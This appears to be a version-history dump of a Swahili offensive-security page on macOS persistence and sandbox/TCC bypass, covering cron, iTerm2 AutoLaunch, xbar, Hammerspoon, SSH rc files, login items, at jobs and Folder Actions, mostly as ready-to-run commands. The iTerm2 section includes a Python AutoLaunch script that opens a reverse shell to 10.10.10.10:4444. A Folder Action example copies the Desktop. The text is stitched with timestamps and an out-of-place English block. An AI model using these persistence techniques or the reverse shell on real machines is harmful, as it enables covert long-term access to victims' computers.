2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2024-03-29 21:14:28 +00:00
**Maelezo**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
* Inatumika kwa kizuizi cha sanduku: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:53:00 +00:00
* Hata hivyo, unahitaji kuweza kutekeleza `crontab` binary
2024-07-18 17:47:58 +00:00
* Au uwe mizizi
2024-02-13 00:53:00 +00:00
* Kizuizi cha TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-07-18 17:47:58 +00:00
* Mizizi inahitajika kwa ufikiaji wa kuandika moja kwa moja. Hakuna mizizi inayohitajika ikiwa unaweza kutekeleza `crontab <faili>`
2024-02-11 02:13:58 +00:00
* **Kichocheo**: Inategemea kazi ya cron
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo & Utekaji
2023-06-01 21:09:46 +00:00
2024-07-17 18:37:10 +00:00
Pata kazi za cron za **mtumiaji wa sasa** na:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-02-11 02:13:58 +00:00
Unaweza pia kuona kazi zote za cron za watumiaji katika ** `/usr/lib/cron/tabs/` ** na ** `/var/at/tabs/` ** (inahitaji ruhusa ya msingi).
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
Katika MacOS, folda kadhaa zinazotekeleza hati kwa **frekwensi fulani** zinaweza kupatikana katika:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-07-18 17:47:58 +00:00
Hapa ndipo unaweza kupata **kazi za cron** za kawaida, **kazi za at** (ambazo hazitumiwi sana) na **kazi za kipindi** (zinazotumiwa hasa kusafisha faili za muda). Kazi za kipindi za kila siku zinaweza kutekelezwa kwa mfano na: `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-02-23 16:48:14 +00:00
Kuongeza **programu ya kazi ya cron ya mtumiaji kiotomatiki** inawezekana kutumia:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
### iTerm2
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
* Inatumika kwa kuzidi sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:53:00 +00:00
* Kizuizi cha TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-05-05 22:47:30 +00:00
* iTerm2 hutumika kuwa na ruhusa za TCC zilizoidhinishwa
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maeneo
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-02-11 02:13:58 +00:00
* **Kichocheo**: Fungua iTerm
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-02-11 02:13:58 +00:00
* **Kichocheo**: Fungua iTerm
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-02-11 02:13:58 +00:00
* **Kichocheo**: Fungua iTerm
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo & Utekaji
2023-06-01 21:09:46 +00:00
2024-02-13 00:53:00 +00:00
Scripts zilizohifadhiwa katika ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch` ** zitatekelezwa. Kwa mfano:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-02-13 00:53:00 +00:00
### macOS Auto Start Locations
2024-02-11 02:13:58 +00:00
2024-02-13 00:53:00 +00:00
#### Launch Agents
2024-02-11 02:13:58 +00:00
2024-07-18 17:47:58 +00:00
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/` .
2024-02-11 02:13:58 +00:00
2024-02-13 00:53:00 +00:00
#### Launch Daemons
2024-02-11 02:13:58 +00:00
2024-07-18 17:47:58 +00:00
Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/` .
2023-11-02 16:52:21 +00:00
2024-02-13 00:53:00 +00:00
#### Login Items
2024-02-11 02:13:58 +00:00
2024-07-18 17:47:58 +00:00
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items` .
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2024-02-11 02:13:58 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2024-02-11 02:13:58 +00:00
Skripti ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** pia itatekelezwa:
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-07-18 17:47:58 +00:00
Faili za mapendeleo ya iTerm2 zilizoko katika ** `~/Library/Preferences/com.googlecode.iterm2.plist` ** zinaweza **kuonyesha amri ya kutekeleza** wakati terminali ya iTerm2 inapofunguliwa.
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Mazingira haya yanaweza kusanidiwa katika mipangilio ya iTerm2:
2023-09-28 20:05:35 +00:00
2024-05-05 22:47:30 +00:00
< figure > < img src = "../.gitbook/assets/image (37).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Na amri inaonyeshwa katika mapendeleo:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2024-02-11 02:13:58 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2024-02-13 00:53:00 +00:00
Unaweza kuweka amri ya kutekelezwa kwa:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2024-07-18 17:47:58 +00:00
Kuna uwezekano mkubwa kuna **njia nyingine za kutumia mipangilio ya iTerm2** kutekeleza amri za kupindukia.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Lakini xbar lazima iwe imewekwa
2024-07-18 17:47:58 +00:00
* Kizuizi cha TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:53:00 +00:00
* Inahitaji ruhusa ya Ufikivu
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-03-29 21:14:28 +00:00
* **Kichocheo**: Mara tu xbar inapoendeshwa
2023-12-29 13:55:22 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo
2023-12-29 13:55:22 +00:00
2024-07-17 18:37:10 +00:00
Ikiwa programu maarufu ya [**xbar** ](https://github.com/matryer/xbar ) imefungwa, inawezekana kuandika script ya shelisheli katika ** `~/Library/Application\ Support/xbar/plugins/` ** ambayo itatekelezwa wakati xbar inapoanzishwa:
2023-12-29 13:55:22 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:05:35 +00:00
### Hammerspoon
2024-02-13 00:53:00 +00:00
**Maelezo**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
* Inatumika kwa kuzingira ya mchanga: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:13:58 +00:00
* Lakini Hammerspoon lazima iwe imewekwa
2024-05-05 22:47:30 +00:00
* Kizuizi cha TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-04-07 03:36:12 +00:00
* Inahitaji ruhusa za Ufikivu
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2024-05-05 22:47:30 +00:00
* **Kichocheo**: Mara tu Hammerspoon inapoendeshwa
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo
2023-09-28 20:05:35 +00:00
2024-05-05 22:47:30 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ) inafanya kazi kama jukwaa la kiotomatiki kwa **macOS** , ikiboresha **lugha ya skripti ya LUA** kwa shughuli zake. Kwa umuhimu, inasaidia uingizaji wa nambari kamili ya AppleScript na utekelezaji wa skripti za shell, ikiboresha uwezo wake wa skripti kwa kiasi kikubwa.
2023-09-28 20:05:35 +00:00
2024-07-17 18:37:10 +00:00
Programu hii inatafuta faili moja tu, `~/.hammerspoon/init.lua` , na wakati skripti inapoanza itatekelezwa.
2023-09-28 20:05:35 +00:00
```bash
2023-12-29 13:55:22 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:05:35 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 13:55:22 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:05:35 +00:00
EOF
```
2024-02-13 00:53:00 +00:00
### BetterTouchTool
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Lakini BetterTouchTool lazima iwe imewekwa
* Kukiuka TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-18 17:47:58 +00:00
* Inahitaji ruhusa za Ufikiaji wa Utoaji wa Automesheni na Ufikiaji wa Urahisi
2024-02-13 00:53:00 +00:00
#### Mahali
* `~/Library/Application Support/BetterTouchTool/*`
2024-07-18 17:47:58 +00:00
Chombo hiki huruhusu kuonyesha programu au hati za kutekelezwa wakati baadhi ya mkato unapigwa. Mshambuliaji anaweza kuweza kusanidi **mkato wake mwenyewe na hatua ya kutekelezwa katika hifadhidata** ili kufanya kutekeleza nambari ya kupindukia (mkato unaweza kuwa ni kubonyeza tu kitufe).
2024-02-13 00:53:00 +00:00
### Alfred
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Lakini Alfred lazima iwe imewekwa
* Kukiuka TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-18 17:47:58 +00:00
* Inahitaji ruhusa za Utoaji wa Automesheni, Urahisi na hata Ufikiaji wa Diski kamili
2024-02-13 00:53:00 +00:00
#### Mahali
* `???`
2024-07-18 17:47:58 +00:00
Inaruhusu kuunda mifumo ya kazi ambayo inaweza kutekeleza nambari wakati hali fulani zinakutana. Kwa uwezekano ni rahisi kwa mshambuliaji kuunda faili ya mfumo wa kazi na kufanya Alfred iipakie (inahitajika kulipa toleo la malipo kutumia mifumo ya kazi).
2024-02-13 00:53:00 +00:00
2023-09-28 15:09:34 +00:00
### SSHRC
2024-07-18 17:47:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-18 17:47:58 +00:00
* Lakini ssh inahitaji kuwezeshwa na kutumika
2024-02-13 00:53:00 +00:00
* Kukiuka TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-18 17:47:58 +00:00
* SSH hutumia kupata Ufikiaji wa Diski kamili
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2024-07-17 18:37:10 +00:00
* **Kichocheo**: Kuingia kupitia ssh
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2024-03-29 21:14:28 +00:00
* Inahitaji mizizi
2024-07-17 18:37:10 +00:00
* **Kichocheo**: Kuingia kupitia ssh
2023-09-28 15:09:34 +00:00
2023-12-29 13:55:22 +00:00
{% hint style="danger" %}
2024-07-18 17:47:58 +00:00
Kuwezesha ssh kunahitaji Ufikiaji wa Diski kamili:
2023-09-28 15:09:34 +00:00
```bash
2023-12-29 13:55:22 +00:00
sudo systemsetup -setremotelogin on
2023-09-28 15:09:34 +00:00
```
2023-12-29 13:55:22 +00:00
{% endhint %}
2024-02-13 00:53:00 +00:00
#### Maelezo & Utekaji
2023-12-29 13:55:22 +00:00
2024-07-17 18:37:10 +00:00
Kwa chaguo-msingi, isipokuwa `PermitUserRC no` katika `/etc/ssh/sshd_config` , wakati mtumiaji **anaingia kupitia SSH** hati ** `/etc/ssh/sshrc` ** na ** `~/.ssh/rc` ** zitatekelezwa.
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
### **Vitu vya Kuingia**
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Andika: [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:13:58 +00:00
* Lakini unahitaji kutekeleza `osascript` na vigezo
2024-02-13 00:53:00 +00:00
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maeneo
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2024-02-11 02:13:58 +00:00
* **Kichocheo:** Kuingia
2024-07-17 18:37:10 +00:00
* Utekaji wa mzigo uliowekwa unaita ** `osascript` **
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2024-02-11 02:13:58 +00:00
* **Kichocheo:** Kuingia
2024-05-05 22:47:30 +00:00
* Inahitaji Mzizi
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Katika Mapendeleo ya Mfumo -> Watumiaji & Vikundi -> **Vitu vya Kuingia** unaweza kupata **vitengo vitakavyotekelezwa wakati mtumiaji anapoingia** .\
2024-07-17 18:37:10 +00:00
Inawezekana kuziorodhesha, kuongeza na kuondoa kutoka kwa mstari wa amri:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2024-02-11 02:13:58 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2024-02-11 02:13:58 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2024-03-17 16:40:00 +00:00
Hizi vitu hifadhiwa kwenye faili ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` **
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
**Vitu vya kuingia** vinaweza **pia** kuonyeshwa kwa kutumia API [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) ambayo itahifadhi usanidi katika ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` **
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
### ZIP kama Kipengee cha Kuingia
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
(Angalia sehemu iliyopita kuhusu Vitu vya Kuingia, hii ni nyongeza)
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Ikiwa unahifadhi faili ya **ZIP** kama **Kipengee cha Kuingia** ** `Archive Utility` ** itaifungua na ikiwa zip ilikuwa kwa mfano imehifadhiwa katika ** `~/Library` ** na ilikuwa na Folda ** `LaunchAgents/file.plist` ** yenye mlango wa nyuma, folda hiyo itaundwa (haipo kwa chaguo-msingi) na plist itaongezwa hivyo wakati mwingine mtumiaji anapoingia tena, **mlango wa nyuma ulioonyeshwa kwenye plist utatekelezwa** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
Chaguo lingine lingekuwa kuunda faili ** `.bash_profile` ** na ** `.zshenv` ** ndani ya nyumbani kwa mtumiaji hivyo ikiwa folda ya LaunchAgents tayari ipo hii mbinu bado itafanya kazi.
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### At
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
Andika: [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Lakini unahitaji **kutekeleza** ** `at` ** na lazima iwe **imezimwa**
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-12-30 00:49:26 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Unahitaji **kutekeleza** ** `at` ** na lazima iwe **imezimwa**
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### **Maelezo**
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
Kazi za `at` zinabuniwa kwa ajili ya **kupanga kazi za mara moja** zitekelezwe wakati fulani. Tofauti na kazi za cron, kazi za `at` zinaondolewa moja kwa moja baada ya utekelezaji. Ni muhimu kutambua kwamba kazi hizi ni thabiti kupitia kuanzisha upya kwa mfumo, hivyo zinaweza kuwa na wasiwasi wa usalama chini ya hali fulani.
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Kwa **chaguo-msingi** zimezimwa lakini mtumiaji wa **root** anaweza **kuwasha** **hizo** na:
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2024-02-11 02:13:58 +00:00
Hii itaunda faili ndani ya saa 1:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-02-11 02:13:58 +00:00
Angalia foleni ya kazi kwa kutumia `atq:`
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-02-13 00:53:00 +00:00
Hapo juu tunaweza kuona kazi mbili zilizopangwa. Tunaweza kuchapisha maelezo ya kazi kwa kutumia `at -c JOBNUMBER`
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2024-02-11 02:13:58 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-07-18 17:47:58 +00:00
Ikiwa kazi za AT hazijawezeshwa, kazi zilizoundwa hazitafanyika.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-11 02:13:58 +00:00
**Faili za kazi** zinaweza kupatikana kwenye `/private/var/at/jobs/`
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-02-13 00:53:00 +00:00
Jina la faili lina orodha, nambari ya kazi, na wakati ambao imepangwa kufanya kazi. Kwa mfano, hebu tuangalie `a0001a019bdcd2` .
2023-09-28 20:05:35 +00:00
2024-02-13 00:53:00 +00:00
* `a` - hii ni orodha
2024-02-11 02:13:58 +00:00
* `0001a` - nambari ya kazi katika hex, `0x1a = 26`
2024-05-05 22:47:30 +00:00
* `019bdcd2` - wakati katika hex. Inawakilisha dakika zilizopita tangu epoch. `0x019bdcd2` ni `26991826` katika decimal. Tukizidisha kwa 60 tunapata `1619509560` , ambayo ni `GMT: 2021. Aprili 27., Jumanne 7:46:00` .
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Ikiwa tunachapisha faili ya kazi, tunagundua ina taarifa ile ile tuliyopata kwa kutumia `at -c` .
2023-09-28 20:05:35 +00:00
2024-02-23 16:48:14 +00:00
### Vitendo vya Folda
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Maelezo: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
2024-04-07 03:36:12 +00:00
* Lakini unahitaji kuweza kuita `osascript` na hoja kuwasiliana na ** `System Events` ** ili uweze kusanidi Vitendo vya Folda
2024-02-11 02:13:58 +00:00
* Kukiuka TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-07-18 17:47:58 +00:00
* Ina ruhusa za TCC za msingi kama Desktop, Documents na Downloads
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-02-11 02:13:58 +00:00
* Inahitaji mizizi
2024-02-13 00:53:00 +00:00
* **Kichocheo**: Kufikia folda iliyotajwa
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-02-13 00:53:00 +00:00
* **Kichocheo**: Kufikia folda iliyotajwa
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo & Utekaji
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Vitendo vya Folda ni hati zinazotumiwa moja kwa moja na mabadiliko katika folda kama vile kuongeza, kuondoa vitu, au vitendo vingine kama vile kufungua au kurekebisha dirisha la folda. Vitendo hivi vinaweza kutumika kwa kazi mbalimbali, na vinaweza kuchochewa kwa njia tofauti kama kutumia UI ya Finder au amri za terminali.
2023-09-28 15:09:34 +00:00
2024-02-23 16:48:14 +00:00
Kuanzisha Vitendo vya Folda, una chaguo kama:
2023-09-28 15:09:34 +00:00
2024-02-23 16:48:14 +00:00
1. Kuunda mchakato wa Vitendo vya Folda na [Automator ](https://support.apple.com/guide/automator/welcome/mac ) na kuiweka kama huduma.
2. Kuambatanisha hati kwa mkono kupitia Usanidi wa Vitendo vya Folda katika menyu ya muktadha ya folda.
3. Kutumia OSAScript kutuma ujumbe wa Tukio la Apple kwa `System Events.app` kwa kusanidi Vitendo vya Folda kwa njia ya programu.
* Mbinu hii ni muhimu hasa kwa kuingiza kitendo katika mfumo, kutoa kiwango cha uthabiti.
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Hati ifuatayo ni mfano wa kile kinaweza kutekelezwa na Vitendo vya Folda:
2023-09-28 15:09:34 +00:00
```applescript
2024-02-07 04:06:18 +00:00
// source.js
2023-09-28 15:09:34 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-07-18 17:47:58 +00:00
Ili kufanya script hapo juu iweze kutumika na Matendo ya Folda, iichapishe kwa kutumia:
2024-02-07 04:06:18 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-07-18 17:47:58 +00:00
Baada ya hati kutekelezwa, weka Vitendo vya Folda kwa kutekeleza hati hii hapa chini. Hati hii itawezesha Vitendo vya Folda kwa ujumla na kuambatanisha hati iliyokompiliwa awali kwenye folda ya Desktop.
2023-09-28 15:09:34 +00:00
```javascript
2024-02-07 04:06:18 +00:00
// Enabling and attaching Folder Action
2023-09-28 15:09:34 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-05-05 22:47:30 +00:00
Chukua script ya usanidi na:
2024-02-07 04:06:18 +00:00
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-05-05 22:47:30 +00:00
* Hii ndio njia ya kutekeleza uthabiti huu kupitia GUI:
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
Hii ndio script itakayotekelezwa:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-03-17 16:40:00 +00:00
Kuikusanya na: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Hamisha kwa:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-07-18 17:47:58 +00:00
Kisha, fungua programu ya `Folder Actions Setup` , chagua **folda unayotaka kufuatilia** na chagua kesi yako ** `folder.scpt` ** (kwa kesi yangu niliita output2.scp):
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
< figure > < img src = "../.gitbook/assets/image (39).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
Sasa, ukifungua folda hiyo na **Finder** , script yako itatekelezwa.
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
